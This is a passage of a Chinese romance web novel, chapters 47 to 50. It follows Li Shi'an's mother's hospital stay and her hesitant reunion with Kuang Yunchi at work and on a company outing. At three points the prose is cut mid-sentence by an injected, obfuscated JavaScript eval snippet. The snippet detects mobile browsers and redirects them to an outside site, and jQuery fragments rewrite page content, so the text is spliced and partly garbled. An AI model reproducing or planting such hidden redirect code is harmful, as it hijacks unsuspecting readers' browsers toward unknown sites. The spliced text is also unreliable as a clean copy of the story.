周森得意,“那是当然。” 其实并不是“当然”。周森嬉皮笑脸惯了,平日里总爱允驰长允驰短的打电话去骚扰。 况允驰当然会回复周森,不过通常只回复一个字,“滚。” 今天不知道怎么变了个人。 但是不管况允驰为什么会变,周森只要抓住这个难得的机会,逗况允驰玩,也算一种兴致。 周森觉得有趣,许书妍觉得有趣。唯独李十安,只觉得生气。 他对别人那么温柔,唯独对她视而不见? 李十安愤懑地对周森嘀咕,“你俩在一起得了。” 周森得意地晃了晃脑袋。 许书妍偷瞄李十安的表情,开玩笑道,“他俩在一起,你生什么气?” 李十安骂道,“看不惯 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这一路,必不可免会经过景和制药的大楼。 李十安走得慢。她给自己的心理暗示是,刚开始锻炼,走快了不好,容易拉伤肌肉,所以只能走得慢。 她走到了一个十米长的缓坡,从下往上走。况允驰和同事一齐出现在缓坡顶,从上往下走。 心里像有一场洪水奔腾。 预计的是到达公司大楼或是走过公司大楼,才会遇见他。 他比想象中的时间要更早出现了。 李十安暗自深吸一口气。 想看他,但还是不敢看他。 他们相向而行。一个在左边,一个在右边,慢慢靠近。 路旁的异木棉锦簇灿烂。 粉雾色的花瓣零星飘落,拨动冬日的澄澈阳光。 李十安看了况允驰一眼。 况允驰侧耳倾听同事关于动物模型方面的探讨,认真专注,似乎并没有看见她。 她低下了头。 一辆白色轿车缓慢驶过,在柏油路中间穿梭,马达轰鸣在空气中弥漫残留。 况允驰看了李十安一眼。李十安一直在盯着脚尖走路,不知是没看见他,还是故意避开他。 他们走到了同一水平面上。 下一秒,相互错过。 没有人先开口。 两辆单车在柏油路上飞驰。两个少年追逐嬉戏,拉扯打闹,导致骑行路线弯曲不规则,跌跌撞撞。 况允驰稍回头,确认两个少年的打闹行为没有波及李十安,他才转回来,继续听同事讨论。 为了躲避被少年的拉扯追逐误伤,李十安踏上了路肩。在狭窄路肩上行走,像走一道平衡木。等到两个青少年远去,李十安踏下路肩。 再往前走几步,就到了这道缓坡的路口。李十安忽然感觉没了力气,一丝魂魄被抽走那般,整个人变得木讷。 她回头。 况允驰的背影越走越远。 不是热烈,不是冷漠,而是平静。 平静得就像她从未出现在他眼前那样。 李十安摇头,抖落附在额前的异木棉花瓣。 一抹失落侵袭而来。 怎么搞的。 怎么莫名其妙就和他成为陌生人了。 47. 番茄 李十安接到电话,说是程菀住院了,正在办理住院手续。 事发突然。 程菀其实是前些天体检,得到CT报告,去找医生看报告。 结果意料之外,是有一点肺炎的迹象,当场被扣下,要求住院,先输液,再进一步查找病因,检测是否是病毒感染。 慌慌张张,什么都没准备。 偏巧李赟去了齐齐哈尔出差,开会,并且还要主持会议,手机调整为静音状态。 会议时间拉得又长,程菀断断续续打了一个小时,也不见李赟接电话,联系不上。 没办法了,只能打给李十安。 “帮我从家里拿一套睡衣,还有把身份证也带上。”程菀嘱咐,“你下班了去拿就行,不着急的。” 母亲住院,身为女儿怎么可能不着急。 李十安请了假,先回一趟家,再赶去医院。带的东西很齐全。 除了身份证和睡衣,还有医保卡、纸巾、拖鞋、牙膏、牙刷、保温杯、薄被、手机充电器。 程菀有些吃惊。 她以为李十安会按照她的叮嘱去做,她叮嘱一点,李十安就做一点。她没想到李十安能够想得这么周到。 “那行,需要的东西全带齐了。”程菀说,“你回去上班吧,别耽误了。” 李十安从旁挪一把陪护椅,放到床边,“不上班,我都请假了。” “何必……”程菀问,“万一领导有意见怎么办?” 李十安笑道,“我们领导没那么小气。”她刚坐下,又想起来手续的事,问道,“住院手续办好了?” “还没开始办,等着证件。” “那我去办。” 李十安说着便站起来,拿上证件。程菀想要阻止,脊背稍挺直。 “你一个人,怎么办得了?”程菀略显担心,“没事,我这儿输完这一袋再去。” 李十安正色道,“妈,办个住院手续而已,有多复杂?” “不是……医院大,我怕你找不到路。” 李十安哭笑不得,“我这么大个人了,还能迷路?” 她不放心她的这个老毛病,还是改不掉。 李十安索性直接离开,“等我,我马上回来。” *** 办完住院手续,到了中午饭点。李十安确实是没办法给程菀做饭,只能点外卖。 点了姜爆鸭、冷吃兔、番茄牛腩、烧椒拌皮蛋。 当然李十安还给自己点了一杯奶茶。程菀不喝奶茶,李十安于是替程菀泡了一杯茉莉花茶。 饭菜到达后,几个食物袋堆叠在床头柜上。 程菀本想亲自搬弄,奈何液体固定在床头,她手一动,血液就会倒流回输液管里。因此只好叮嘱李十安,“饭桌在床尾……” 话没说完,李十安已经取下床尾的饭桌,拉起病床两侧的护栏,把便携饭桌搭在护栏上,固定住。 她边弄边说,“妈,你别老操心,这点小事我会做。” 旁边病床的阿姨,见李十安手脚利索,动作娴熟。她好奇问了程菀一句,“这是你女儿?” 程菀笑道,“对,我女儿,特别懂事,特别能干。” 李十安听得耳朵红了些,低头笑一下。只是安装便携餐桌而已,小事,不至于这么得意吧。 她摆放好碗筷,催促程菀吃饭。程菀这才不再闲聊,拿起筷子。 很熟悉的场景。上一次,母女俩单独在在医院病床上吃饭,还是李十安跳湖后发烧留院的那天。 一晃过去快三年了。 程菀有些许感慨,“你可以把每件事都做得很好,你有这个能力。” “嗯?”李十安咬一口烧椒尖,“怎么忽然想起说这个?” 程菀举着筷子,在碗里搅弄米饭,有一下没一下,“我就是忽然觉得,允驰说得没错,我该早点相信你的。” 早点相信李十安有独立自主的能力,早点放手,是不是就不会发生那些事了,不会让李十安的身体遭受流产的伤害。 人生会更加一帆风顺的吧。 程菀终于吃了第一口米饭。却见李十安没再动筷,夹着一支烧椒,也不往嘴里送。她问,“你在想什么?” 李十安放下碗,试探道,“况允驰……什么时候跟你说的这些话?” “你上次住院。”程菀喝一口番茄牛腩的汤汁,“你昏迷的时候,允驰和我聊了很多,包括好些我不知道的细节。” 包括李十安承受的压力,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779824|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以排解的痛苦,无法言说的难受。 一场颠覆性地谈话,况允驰充当了描述者的角色。他很客观,但越是客观冷静,就越是在程菀心上割刀。 和预想的完全不一样。 程菀一直以为她是在为李十安铺平人生道路,她在庇护李十安成长,拼尽全力避免李十安遭受伤害。 她没想到她亲手为李十安高筑一座无法逃脱的牢笼,禁闭岛。 “十安……”程菀有些说不出口,“我真的……早该放手的。”早该相信李十安有能力去面对这个世界。 “喔——”李十安拉长声音,恍然大悟那般,“我一直以为是你自己想通的,原来是况允驰给劝的。” “啊?” 程菀愣了下,酝酿许久的情绪被李十安一下敲碎。 她随即冷笑一声,“笑话,我自己当然能想通,这是什么很高深的问题吗?拜托,你出事的时候,我立即发现了苗头,马上就明白事情的真相了,我当时就已经下定决心了,知道么……” 程菀絮絮叨叨解释一大堆,侧头,发现李十安根本没有再听。 李十安双手端着碗筷,眼睛看向床单,没有焦点,失神发呆。 是在想况允驰的事么。程菀猜测,本来好好的,刚刚随口提到况允驰的名字,李十安就开始心不在焉,心神不宁。 程菀想了想,轻声说道,“其实允驰看起来,好像真的很喜欢你。” 心跳漏一拍。混沌的人被忽然叫醒。 李十安抬眸,看向程菀。 程菀感觉这话没说明白,随即又补充一句,“我说的是三年前。” 不知是否是幻觉,李十安眼里的光似乎暗淡了一些。 李十安把碗筷搭在腿上,小心翼翼试探询问,“那……现在呢?” “现在不知道,看不出来。”程菀嘟囔了一句,“人都是会变的。” 好像心里被抓紧一下。李十安低下了头,看着一粒粒白米饭,失神。 程菀疑惑,问道,“你们俩的公司挨得这么近,没见面吗?” 李十安抿嘴,摇了摇头,“很少碰到。” 当真算起来的话,他这段时间像消失了一样。 她已经很久没见过他了。 48. 茉莉 李十安再一次单独遇见况允驰,是在景和制药的电梯间里。 她边走边在微信上回复霍溢关于DNA文库构建的资料密码,不知不觉走到了电梯间。 电梯门开启,李十安抬头,看见电梯里只有况允驰一个人。 心跳漏一拍。 况允驰摁住电梯开门按钮,伸手护住门板。李十安慢慢走了进去。 他们并排站着。 况允驰问,“几楼?” 李十安应道,“十一楼。” 况允驰替李十安摁下楼层。电梯缓慢上升。 两人默契地没有说话。 李十安其实是想要开口的。但她实在是有些紧张,脑袋没办法正常思考。 怕某些不得体的话还没经过脑子就从嘴巴里钻出来,把场面弄得愈发尴尬。 说一句话吧,随便说一句什么话都行。 李十安盘算,问他一声,“最近好吗?” 或者是,“最近忙吗?” 或者再主动一点,邀请他,“一起吃饭好吗?” 但是越这样想着,心跳越是加快,根本说不出口。 李十安暗自深呼吸。 或者要不说一句最简单的“早上好”?起到一个打招呼的作用,按目前的形势来看,完全足够了。 加油。 闷着脑袋硬着头皮提一口气,一下子就能说出口的。 加油。 电梯一层一层往上攀升。机会不多了。 李十安想要开口。可双唇像是被莫名粘了胶水那样,不仅“早上好”三个字说不出口,连一个“早”字都没办法说出声。 电梯到达十一楼,门扉开启。 李十安顿了一下,闷着脑袋走了出去。直至电梯门再次关上,李十安才敢回头看一眼。 空荡的寂寥的电梯间。只剩她一个胆小鬼。 怎么连这点勇气都没有。 *** 况允驰坐在工位上,心不在焉。 身旁一个同事从主机上拔出U盘,自言自语,“又要跑十一楼咯——” 况允驰问他,“你要去十一楼?” “嗯,去机房拷资料。”同事反问,“你也要拷?” 况允驰犹豫片刻,“嗯,我去,顺便替你拷了。” 他拿上U盘,下到十一楼。 那个时间,李十安和霍溢挤着坐,面对电脑,正在讨论方案。 李十安举着一支水性笔,拿笔头在电脑屏幕上隔空画圈,示意霍溢修改此处的数据。余光瞄见右侧的过道上,一个熟悉的身影走过。 况允驰。 他们恰巧有了一秒钟的对视。 可况允驰面无表情地移开视线,继续走远。 像是没看见她一样。 李十安恍惚。 印象里的况允驰虽然常年是一副冷淡的表情,但他偶尔也是会和她开玩笑的,会一本正经说几句冷幽默,会在每一件事上都给她回应。 那样的相处方式让李十安差点忘了,他可是况允驰。 又不是不了解他的脾气。他很拽的。 她没找他搭话,他怎么可能还会理她。 冷淡,疏离,难以靠近。就像对待陌生人那样。 *** 况允驰耽搁了些许时候,随后走出机房。 李十安去茶水间接完热水,端着保温杯往回走。 很偶然的,他们在电梯间又一次相遇。 况允驰正对着电梯耐心等待。李十安从侧面转角走来。 她先看见他的。 其实此刻的场景也不算太被动。只要李十安悄无声息从况允驰身后走过,就能假装没相遇,像之前那样。 反正她和他,最近总是假装不认识的状态。 可李十安犹豫了。 早上就没能跟况允驰打招呼,那种懊悔的心情,现在再次刮了她一下,怪难受。 况允驰恰巧就在这时,侧过头,看向李十安。仍然是那副冷淡的神情。 李十安一鼓作气,抬起手挥了挥,“嗨,好巧,又碰到了。” 她有意表现得轻松自在,压抑内心一片兵荒马乱。 况允驰愣了下,眉眼间的冷淡隐约消散了。他垂眸,笑了笑,应道,“嗯,好巧。” 电梯到了。况允驰走进电梯。离开之前,他向她点头示意。 一直等待电梯离开,李十安在原地又待了一会儿,盯着电梯显示屏出神。 不知道是不是她的错觉。刚才那一瞬间,他好像变回了她熟悉的那个况允驰。 *** 快到中午的时候,李十安去十五楼实验室,核对所需要的设备情况。 检查完毕,走出实验室时,况允驰正和另外两人一道,准备走进隔壁实验室。 他没看见她。但她顿了一下,仍旧开口轻声叫道,“况。” 况允驰转过身,和李十安面对面。 两个穿着白大褂的人,在工作场合碰面,表面看着有同事间的那种正经认真。 可意料之外的,况允驰忽然弯腰,想看清李十安胸前的名牌。李十安身体僵硬,稍向后仰。 名牌上是李十安自己写的名字,字迹小巧清秀。写的不是“李十安”,而是“李10安”。 况允驰笑了下。 李十安忐忑询问,“写得很丑吗?” 况允驰低声道,“没,写得很可爱。” 李十安松一口气。 同事催促况允驰跟上步伐,况允驰和李十安分别,走进了实验室。 李十安向前倾身,再看一眼况允驰的背影。况允驰恰巧回头,险些视线相撞。 她立即转回来,迈出几步,佯装风平浪静地离开了。 *** 午饭之后,况允驰拎着两杯奶茶,来到十一楼办公区。 李十安和霍溢都不在。 况允驰走到霍溢的工位上。 刚才来十一楼的那一趟,就看出了不合适的地方。 李十安和霍溢并排坐,但霍溢占据了多达四分之三的位置,只留一个狭窄的办公桌缝隙给李十安放笔记本。 霍溢坐的是人体工学椅,李十安坐的只是一条塑料独凳。 怎么敢这样对待她。 况允驰索性直接上手。 先对换两条椅子,把人体工学椅让给李十安。 再整理桌面,把霍溢的研究报告笔记本一类的东西往旁边挪,空出一半的桌面,留给李十安。 他还没整理完,霍溢赶来,小跑了两步。 “组长……这是做什么?”霍溢稍显慌乱。即便不明就里,还是跟着况允驰一道整理桌面。 况允驰质问,“这就是你的待客之道?把客人挤到角落里?” “喔……对对对,我的失误。”霍溢似是才被况允驰点醒,恍然大悟,拿出好客主人的姿态,更加卖力整理桌面,留出三分之二的地方给李十安。 整理许久,一直不见李十安的身影。 况允驰随口问道,“她……去哪里了?” “谁?十安吗?”霍溢回答,“回公司提档案去了。” 怪不得没看到人。况允驰又问,“她要在这里待多久?” 霍溢猜测,“也就两三天吧。” 况允驰暗自估量。两三天,这么短。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784670|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>*** 李十安回公司取历年档案,当作模板参考。 返回十一楼后,发现工位变了样。她的独凳原本在左边的,现在变到了右边。 单纯以为是换了位置,李十安自觉坐到右边的独凳上。 刚坐下,霍溢赶来,让李十安换位置,“你别坐独凳,你坐这张工学椅。” 李十安疑惑,“我刚坐的就是这条独凳。” “刚才是刚才,现在是现在。”霍溢抬着李十安的手臂,扶李十安站起来。 “诶——”李十安下意识把手臂抬得更高,以免和霍溢产生肢体接触。 霍溢倒是不在乎肢体接触的事,他一心只想让李十安换座位,“你是客人,更是我的恩人,没你我这项目就得黄,怎么能让你坐独凳?” 李十安笑道,“我没那么多讲究。” 她还想去坐回独凳,霍溢这次几乎是强制性按李十安坐下。李十安坐在人体工学椅上,一头雾水。 霍溢解释,“之前是我考虑不周,现在起我俩就这样分配。” 分配的不仅是座位,还有办公桌的布局。 李十安眼前的办公桌空位,比之前宽了一倍。现在变成了她占三分之二,霍溢占仅剩的三分之一。 这样的改变倒叫人有些心虚。 “这也太夸张了吧?”李十安比划眼前的桌面比例,苦笑道,“也不必这么客气。” 霍溢笑道,“夸张什么,这样才好操作。” 他转身进入工作状态,打开电脑锁屏,调取方案快捷目录,点开可行性分析报告部分。 李十安配合地翻阅档案资料。 霍溢左手摁键盘,右手顺势拎起一个纸袋,袋子里装着两杯奶茶。他把其中一杯茉莉龙井放到李十安面前。 上午聊天时,霍溢随口说过,下午给李十安带一杯奶茶来。 李十安以为这就是霍溢带给她的奶茶,自然地拿了过来,插上吸管,喝上一口,并对霍溢说了一声,“谢谢。” 霍溢摆手,“这是况组长送给我的。” 李十安咬着吸管,机械地侧头,试探问道,“况允驰?” 霍溢举杯摇晃冰块,“嗯。” “喔——” 李十安一时反应不过来,条件反射地放下奶茶。听霍溢的意思,这两杯奶茶都是况允驰送给霍溢的。 她有些尴尬,“抱歉啊,喝了你的奶茶。” 霍溢停下了摇冰块的动作,想了想,随即解释道,“不是这个意思……我是说,这是况组长给我的,又让我转交给你。呐,他特意交代过,这杯茉莉龙井要给你。” “给我?” 李十安有些惊讶。 她想起来了,曾经有一次,她和况允驰在奶茶店相遇,当时况允驰跟着她点了茉莉龙井。 感觉那像是很久以前的事情了,没想到他还记得。 重新咬住吸管,李十安再喝一口奶茶,这下感觉到了甜润清香。 霍溢放下奶茶杯,调整回工作状态,认真探讨,“筛选宿主细胞这里,我们库……” 侧眸,发现李十安正对着显示屏傻笑。霍溢问道,“你笑什么?” 李十安回神,搪塞道,“我看你这鼠标图标挺搞笑。” 别人的鼠标图标都是白色箭头,霍溢的鼠标图标是一个会眨眼的熊猫头。 霍溢晃动两下鼠标图标,“你喜欢的话,我去给你安装。” “不用,谢谢,我自己会安装。”李十安催促道,“说这个吧,宿主细胞怎么了?” 有意略过这个话题,强迫自己集中注意力,自我告诫。 认真工作。别乱想,别多心。 49. 白桃 太阳大,下午天气有些热,李十安能感觉到发丝间似乎在冒热气。 虽然才到春天,但按照青山的气候脾气,也该热起来了。 李十安趁空闲的间隙,约许书妍一道去园区附近的西陆便利店买雪糕吃。 况允驰外出办事,回来的路上路过西路便利店,从落地窗前走过。 李十安看见了况允驰。她探出半个身子,叫道,“况!” 许书妍探出半个身子,叫道,“允驰!” 听到声音,况允驰顿了下,折返回来,两步踏进了便利店。 许书妍站在冰柜前,向况允驰招手,“随便选,今天十安请客。” 走到冰柜旁。况允驰心里想的是,等她们挑选完后,他去把账结了。 李十安看出了况允驰的心思,郑重道,“今天真是我请客,几块钱的东西,不能和我争。” 担心况允驰不动手,李十安索性挑选一支白桃乌龙雪糕,塞到况允驰手里,“喏,这个好吃。” 许书妍附和,“这个确实好吃。” 况允驰拿着雪糕棒,“好,那就这个。” 李十安有些高兴。她开始认真算账,“上午你请我喝的奶茶是二十二块钱,这个雪糕是十一块钱,算下来我还得再请你吃一次雪糕。” 她一本正经地对况允驰说道,“记好了,我还得再请你一次。” 这话说得……许书妍一口雪糕含在嘴里,满嘴冰凉。 她歪头,一脸诧异地给李十安提议,“要不给你个账本记账得了?” 李十安红了耳廓,“我不是这个意思。” 原意不是对这么些一块两块钱斤斤计较,李十安其实是借着算账的由头,实现和况允驰的下一个约定。 结果话说出口,全变味了。 看见了李十安微红的耳廓。况允驰轻声问道,“下一次,还可以要这个口味吗?” 李十安抿嘴点头,“嗯。” 许书妍嚼着雪糕,饶有兴致观察这两人。 等况允驰离开后,许书妍故意凑到李十安耳边,“我下一次,可以换一个口味吗?” 李十安原本笑意盈盈,转头面对许书妍时,变成了一张冷脸,“喔。” 许书妍不服气,抱着李十安的腰肢挠痒痒,嘻笑打闹。 身影映在窗玻璃上,成为一副半透明的画面。 *** 第二天一早,李十安去食堂吃饭,打了豆浆油条桂花糕一类的早餐。 坐在靠墙角落里,打算的是独自安静享用美食。 况允驰猝不及防地坐到李十安对面,叫人意料之外。 一时反应不过来。李十安一颗鸡蛋握在手里,望了望况允驰,低头继续剥鸡蛋。 把鸡蛋敲破,在桌面上滚动一圈,让蛋壳变得细碎,最后沿蛋膜撕下蛋壳。 她吃鸡蛋只吃蛋黄,蛋白被放在餐盘边缘,再没去碰。 况允驰问道,“不吃蛋白?” “嗯。”李十安解释,“小时候妈妈会强迫我吃鸡蛋,但我实在吃不完一个,所以就挑自认为最有营养的蛋黄吃,慢慢地养成了只吃蛋黄不吃蛋白的习惯。” 当然有程菀在的场合,蛋黄蛋白都得吃。但现在程菀不管她了,她就开始任性起来。 况允驰开玩笑,“巧了,我只吃蛋白。” “真的?” “真的。”况允驰夹走李十安餐盘里的蛋白,“这个给我?免得浪费。” 李十安轻轻点头。 况允驰两口吃完蛋白。 拿起另一颗咸鸭蛋,剥开,况允驰准备把蛋黄分给李十安。分之前却犹豫了一下。 “这个呢?”况允驰问道,“这个吃蛋白还是蛋黄?” 李十安有些不好意思,“咸鸭蛋的话,只吃蛋白,因为蛋黄实在太咸了。” 况允驰附和,“巧了,这个我只吃蛋黄。” 李十安笑道,“看来我俩真适合一起吃饭。” 顿了顿,况允驰看向李十安。 李十安急忙解释,“我的意思是……各吃各的,不浪费食物。” 况允驰附和,“嗯,饭搭子。” 没告诉李十安,他长这么个大高个,根本不挑食,什么都能吃。 他把餐盘里的桂花糕夹给李十安。因为李十安吃得挺津津有味,桂花糕体量小,他怕她吃不够。 他问道,“你这几天怎么来我们这边了?” “因为……我是人情。” 李十安试图解释清楚来龙去脉。 景和检验的小林总与景和制药的方总关系密切。 在一次闲聊里,方总说起他们有个DNA文库构建的项目,由于人手不够,不太能推动。 小林总顺势接话,说是他们那儿有个人,在这方面有两把刷子,可以派过来友情帮忙。 李十安就是那个人。 碰上这段时间,李十安手上的事情不是那么多,有空余的时间能够搭把手。 于是她就这样,被小林总当作人情,派给方总。 “本来有些犹豫的,但是……”李十安止住话头。 但是因为况允驰在这边,她想过来试试,看看有没有能够碰到他的运气。 李十安说了个谎,“但是不来这边,那边就得给我安排另外的事情。我想着这几天换个环境也挺好。” 况允驰把短截油条泡进豆浆里,用筷子往下压。他问道,“只待三天?” 李十安纠正,“两天。” “今天弄完就回去?” “嗯。” 这么快。况允驰思索着,用筷子拨弄油条。他又问,“霍溢这两天没欺负你吧?” 李十安笑道,“没有……哪有那么夸张。他人很好的。” “那就行。” 况允驰吃一小截油条。工作群里发布会议提醒,一行人在底下回复[收到]。况允驰一口喝完豆浆,收拾餐盘。 “我先去开会。”况允驰说道,“在这边有什么需要的,你找我。” “嗯。”李十安轻声应和。 况允驰站起来,把椅子挪回原位。李十安纠结良久,在况允驰离开之前,唤了一声,“况。” 况允驰应道,“嗯?” 李十安鼓起勇气,“下周的春日郊游,我报名了。” 她顿了顿,立即补充,“我是看这段时间阳光耀眼,出去转转也挺好。” 况允驰侧头看了眼窗外的阳光,清澈的柠檬黄,被枝叶切割成光斑,打在窗玻璃上。 李十安确认道,“你呢?你报名了吗?” 况允驰点头应道,“嗯。” 其实他完全没准备报名,根本没考虑过这件事情。不过现在看来,他可以立刻改变他的想法。 *** 春日郊游,是景和制药的研发部、医务部与景和检验的检验部、信息部联合组织的一场活动,规模不小。 团队按照计划安排,通知中午一点在园区北门集中坐车出发。 李十安是十二点四十到的。 爬上第二辆大巴车时,窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788494|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的位置已经几乎被人占据,好些双人座还被人用包占着。 唯一剩一个单人座,靠近后车门。 倒是正好,李十安心想,比起和倒熟不熟的同事挨着,她更喜欢坐单人座。 等了快十分钟,就要到达约定的时间。陆续有人上车,逐渐填满车内的空位。 但一直不见况允驰。 李十安伸长脖子,向前看看,再向后看看。 担心动作过于明显,李十安只能偶尔瞄上一眼,随即坐回原位。 循环往复。 双方联络员在大巴车过道内清点人数。 似乎是快要到最后一秒的时候,况允驰才总算赶来,从后车门上车。 李十安的座位在靠近后车门的第二排。 她稍侧身,昂头,准备向况允驰打招呼。一声“况”还没叫出口,后排一个男人用洪亮的声音唤道,“允驰!” 况允驰的注意力被吸引过去。 他径直走向最后一排,没能发现李十安,路过李十安身边时,没有任何反应。 有一种落空的感觉。好像坐大摆锤,从高处落下,身体落地了,但心还是悬着的,一直漂浮。 李十安这一路心不在焉,盯着窗外发呆。 到达目的地后,李十安为了避免拥挤,有意等大部分人下车后,才慢悠悠解开安全带。 同事们陆续经过她的身边。一个个背影消失在她视线里。 下一个人经过时,忽然伸出手,手心在李十安脑袋上揉了揉。极其快捷隐晦,又极其温柔。 一颗心颤动一下。 况允驰跟随同事一道走下车。李十安在原位多待了一会儿。 等到人潮涌去,她才最后下车。 *** 李十安有意避开了人群,走去柏油路边,站在一个白色自动贩卖机前,装作挑选饮品。 没过多久,况允驰来了,站在李十安身边。 落地玻璃上倒影着他们的身影。 右边有一根路灯立柱,左边有一棵随风摆动的棕榈树。天蓝得清澈,白云缓缓流淌。 阳光明晃晃,是柠檬的颜色。 想看一眼况允驰,又不好意思直接看过去。李十安总是侧头侧一半,又立即转回来,有时低头盯着脚尖,有时仰头眨两下眼睛。 “没想到你真的会来,因为感觉你对这种事情不会感兴趣的。”李十安笑起来,又觉得笑容太外露了,随即抿嘴收敛。 她接着碎碎念,“因为上次问你嘛,你说要来。但是今天坐车,一直没看见你,我以为你不来了,以为有工作或者什么事耽搁,要不就是……反悔了。” 轻轻嘟囔一句,她忍不住又重新扬起嘴角,快速仰头看一眼况允驰,立刻收回视线,笑着,“我隔老远就看见你了,往车里走。我就说嘛,你一向说话算话的,说了要来就一定会来的。” 心里理智地告诫自己,不要笑,要矜持,她有意收敛笑容。 但嘴角仍带着一点向上的弧度,眼睛弯成月牙的形状。 他一直垂眸看着她。 虫鸣声此起彼伏。 两只小鸟从半空飞来,栖息在棕榈树边,左右转向,最终跳进了路边茂密的丛林里。 他终于开口逗她,“我来就这么开心?” 像是敲钟那般一下被敲醒,李十安条件反射地拉下脸,严肃辩解,“哪有,乱说!” 她转身低头逃离,顺着柏油路走得很快。耳朵红了,怕被他看见,被他取笑。 他怪讨厌的。 50. 春日 团建活动按照常规程序进行。自我介绍,彼此熟悉。 虽然李十安一个名字也没记住。 第一个游戏是山地摩托。 规则很简单,参赛的人同时从起点出发,谁先到达终点谁就获胜。 李十安原本不打算报名的。她的计划是当一条咸鱼,躺在摇椅上歇息,顺便吃吃喝喝。 奈何主持人宣布了第一名的奖品,一台复古咖啡机,正是李十安很久之前看中的那一款。 她之所以纠结良久,一直没有下手买咖啡机,是因为对自己有清楚的了解。 猜测若是咖啡机买来,估计也是只用两三次,之后大概率会闲置。 可是不买吧,又总会心心念念。就这样处于买与不买之间的状态,没能得出一个结果。 碰上今天这样的好运,靠玩游戏就能得到心仪的礼物,岂不是刚好。 李十安蠢蠢欲动,想要报名。可报名了,就能保证得第一吗?她有些担忧。 在主持人的催促呐喊声音中,李十安的右手想举起,却没真正举起来。 况允驰看出了李十安的想法。他鼓励她,“试试?你摩托骑得不错。” 曾经见过她骑摩托的样子,虽然并没有真的上路,但从跨上车的姿势,再到模拟操作的细节,他看得出来她有一定水平。 李十安压低声音,“你知道的,我是水货。” “才怪。”况允驰说道,“走,我陪你。” 况允驰带李十安报了名。连同其余十五个报名的人一起,组成了比赛团队。 参赛成员抱着比赛加游玩的心态,热闹出发。 三四人故意把马达弄得震天响,比起速度,更在意气势。 五六人在起始线上现学骑车,费劲掌握基本技巧,跌跌撞撞地出发。 大部分人平稳行驶,顺着山路向前行进。 李十安和况允驰速度还算快,一直保持在第一集团。 翻越山丘,跨过泥塘,盘旋过弯,扬起一片尘土。 李十安的速度要更快一些,在况允驰的前方带路。 转过一个弯道,况允驰突然加速,插入到李十安的车前。 超车就算了,他甚至还别停了她的车。 李十安单脚踏地站稳,愤怒质问,“干嘛?” 其余的车从身旁呼啸而过,叫李十安愈发心急。 况允驰微昂下巴,“走这条小路。” 指的是松林间的一条偏僻小路。 严格意义上来说,那并不是真正的路,是被前人驶过,留下的一道若隐若现的光秃秃的痕迹。 况允驰解释,“我看过地图,这里最近。” 李十安有些犹豫,“这……可以吗?” “这是游戏的潜规则之一。” 况允驰仔细研读过游戏规则,里面只说从起点到终点,并没提及“赛道”一类的字词。 一路上,骑行的道路也并没有明显的赛道标志,只不过这条大路过于明显,大家也就默认了它是赛道。 观察力也是比赛的一个因素。 况允驰带头冲进小道,李十安紧密跟上。甚至后来的最后集团车辆,也跟着他们的步伐,冲进松林小道。 他们的路程比第一集团缩短了一半多。 离终点只剩一小段距离时,况允驰放慢速度,与李十安并行。 其实可以加速冲刺的,躲得第一名,赢得奖品,再把奖品送给李十安。 可比起送她奖品,他更愿意为她创造一切有利条件,让她能够顺利冲过终点,亲手赢得奖品。 所以他对她说道,“去吧。” 李十安明白了况允驰的用意。 她兴奋地提档加速,向着终点出发。 成为第一个越过终点线的人。 况允驰靠着道路最边缘骑行,完全退居于幕后。 得益于况允驰的带路,最后集团的两人竟成功赶超,和第一集团的两人一道,包揽了比赛的前五名。 一组人欢喜,一组人忧愁。纷扰声音不绝于耳。 “以为是个竞技比赛,搞半天原来是个智力比赛。” “可以,有饥饿游戏那味儿了。” “都怪你!只知道马达嗡嗡响,不知道看地图。” “自己带错路了还好意思叽叽喳喳。” “你再说一遍?” 他们嬉笑打闹,气氛活跃。 李十安在一片欢呼与起哄声音中,欣喜地接过主持人递来的奖品兑换券。 今天运气似乎特别好。 李十安悄悄退出拥挤人群,去到角落里的况允驰身边。 晃了晃她的兑换券。因为有了况允驰的帮忙,她才能顺利得到她梦寐以求的咖啡机。 她开玩笑道,“谢谢前夫哥。” 况允驰应道,“不客气,前妻妹。” 主持人在那边继续介绍第二轮游戏,飞碟,以及游戏的奖品,平板。 况允驰低声询问,“平板想要吗?” 李十安笑道,“不了,我没有那么贪心。” 已经实现了愿望,算是意外之喜,满足了。接下来的行程,是按照原计划,躺在摇椅上吃吃喝喝。 他们去了米色的天幕帐篷旁。 团建的人自动分为好几波,一波人在玩游戏,一波人在看别人玩游戏,还有一波人和他们一样,围着天幕帐篷群,在营地上弄小食、喝饮品。 况允驰到敞篷附近架起的烧烤架旁,动手烤烧烤。 李十安跟了去,打下手。 